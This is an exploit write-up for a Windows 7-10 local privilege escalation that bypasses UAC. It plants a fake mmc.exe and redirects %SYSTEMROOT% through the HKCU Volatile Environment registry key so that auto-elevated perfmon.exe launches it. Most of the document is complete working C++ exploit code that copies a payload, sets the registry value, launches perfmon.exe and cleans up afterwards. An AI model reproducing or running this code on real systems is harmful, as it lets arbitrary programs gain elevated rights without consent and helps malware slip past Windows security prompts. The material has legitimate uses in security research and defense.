Performance Monitor Volatile Environment LPE

Exploit Information
Microsoft Windows
Windows 7-10, x86/x64 independent


perfmon.exe (Performance Monitor) is an auto-elevated binary that executes mmc.exe with the path to "perfmon.msc" as commandline argument. It is there to auto-elevate only Performance Monitor, but the Management Console itself does not auto-elevate.

Now, let's take a look at the disassembly of the data section:

This indicates, that mmc.exe will be executed from a path that contains an environment variable (%systemroot%), thus making it vulnerable to environment variable injection.

How to change %systemroot%?
Simple: Through Volatile Environment.
Define your own %systemroot% in HKEY_CURRENT_USER\Volatile Environment and perfmon.exe will look for mmc.exe there instead. This makes the exploit particularly interesting as no DLL is required, at all. No injection, no hijacking, we can just name our payload "mmc.exe" and it will be executed with high IL.

After executing perfmon.exe, our bogus "mmc.exe" is executed, which makes it also completely independend from:

  • x86 or x64 bit target
  • Native or managed code - both can be used
  • Basically, any other files - we might as well copy the current executable to "mmc.exe" and re-use it this way!

In this example, Payload.exe will be started, which is an exemplary payload file displaying a MessageBox.



#include <string>
#include <Windows.h>
using namespace std;

void SetRegistryValue(HKEY key, wstring path, wstring name, wstring value);
void DeleteRegistryValue(HKEY key, wstring path, wstring name);
wstring GetTempFolderPath();
wstring GetStartupPath();

int CALLBACK WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
	// Prepare our working directory that is later assigned to %SYSTEMROOT% through volatile environment
	wstring systemRoot = GetTempFolderPath() + L"\\PerformanceMonitorVolatileEnvironmentLPE";
	CreateDirectoryW(systemRoot.c_str(), NULL);
	CreateDirectoryW((systemRoot + L"\\System32").c_str(), NULL);

	// Copy our exemplary Payload.exe to %SYSTEMROOT%\System32\mmc.exe
	// By executing perfmon.exe later, this file will be run with high IL
	// Notably, this exploit does not require a DLL and can therefore be compiled with either one of
	// x86 or x64 and it doesn't even have to be native C++ code. All highly convenient
	CopyFileW((GetStartupPath() + L"\\Payload.exe").c_str(), (systemRoot + L"\\System32\\mmc.exe").c_str(), FALSE);

	// -> This registry value will redirect executions of mmc.exe to the directory we just prepared
	SetRegistryValue(HKEY_CURRENT_USER, L"Volatile Environment", L"SYSTEMROOT", systemRoot);

	// Execute perfmon.exe
	// So now, Payload.exe, aka. %SYSTEMROOT%\System32\mmc.exe is executed
	ShellExecuteW(NULL, L"open", L"perfmon.exe", NULL, NULL, SW_SHOWNORMAL);

	// Wait a little and then restore %SYSTEMROOT%
	DeleteRegistryValue(HKEY_CURRENT_USER, L"Volatile Environment", L"SYSTEMROOT");

	return 0;

void SetRegistryValue(HKEY key, wstring path, wstring name, wstring value)
	HKEY hKey;

	if (RegOpenKeyExW(key, path.c_str(), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS && hKey != NULL)
		RegSetValueExW(hKey, name.c_str(), 0, REG_SZ, (BYTE*)value.c_str(), ((DWORD)wcslen(value.c_str()) + 1) * sizeof(wchar_t));
void DeleteRegistryValue(HKEY key, wstring path, wstring name)
	HKEY hKey;

	if (RegOpenKeyExW(key, path.c_str(), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS && hKey != NULL)
		RegDeleteValueW(hKey, name.c_str());
wstring GetTempFolderPath()
	wchar_t path[MAX_PATH];
	GetTempPathW(MAX_PATH, path);
	return wstring(path);
wstring GetStartupPath()
	wchar_t path[MAX_PATH];
	GetModuleFileNameW(NULL, path, MAX_PATH);
	wstring pathStr = wstring(path);
	return pathStr.substr(0, pathStr.find_last_of(L"/\\"));

Expected Result

When everything worked correctly, Payload.exe should be executed, displaying basic information including integrity level.

Executing either one of the x64 or x86 binaries on a 64-bit operating system will work. This means, the x86 binary will work everywhere, while the x64 built executable will only work on a 64-bit operating system.

These two screenshots show both x86 and x64 binaries executed on a 64-bit operating system. As you see, the x86 binary causes a second commandline argument to get passed to "mmc.exe".